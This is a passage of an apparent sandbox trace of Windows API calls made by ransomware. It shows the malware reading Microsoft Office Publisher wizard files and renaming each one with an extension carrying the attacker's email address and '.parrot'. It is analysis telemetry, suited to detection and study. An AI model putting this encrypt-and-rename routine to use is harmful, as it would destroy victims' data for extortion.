lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.585] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.585] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.586] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.587] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2400, lpOverlapped=0x0) returned 1 [0206.588] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0206.594] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.594] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.595] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.595] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21e, lpOverlapped=0x0) returned 1 [0206.595] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0206.601] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.601] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.603] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.603] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ebf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ebf, lpOverlapped=0x0) returned 1 [0206.604] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0206.624] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.624] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.626] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ac, lpOverlapped=0x0) returned 1 [0206.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0206.634] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.634] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.636] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe39, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe39, lpOverlapped=0x0) returned 1 [0206.636] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0206.642] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.642] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.644] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c00, lpOverlapped=0x0) returned 1 [0206.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0206.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.651] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.653] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.653] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x33a, lpOverlapped=0x0) returned 1 [0206.653] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0206.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.659] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.693] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.693] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x50f94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x50f94, lpOverlapped=0x0) returned 1 [0206.884] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmasthd.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmasthd.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0206.913] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.913] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.961] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.962] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71a4, lpOverlapped=0x0) returned 1 [0206.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0206.973] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.973] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.974] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.974] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11c2, lpOverlapped=0x0) returned 1 [0206.975] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.980] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.980] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.980] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.981] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.982] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.983] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.983] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eeda, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1eeda, lpOverlapped=0x0) returned 1 [0206.986] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0206.994] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.994] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.996] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.996] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1aca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1aca, lpOverlapped=0x0) returned 1 [0206.997] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0207.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.007] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.009] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.009] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x938f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x938f, lpOverlapped=0x0) returned 1 [0207.011] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.014] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0207.022] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.023] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.024] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.024] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0207.026] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.026] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.030] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.030] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.030] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0207.070] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.070] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.072] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.072] ReadFile (in: 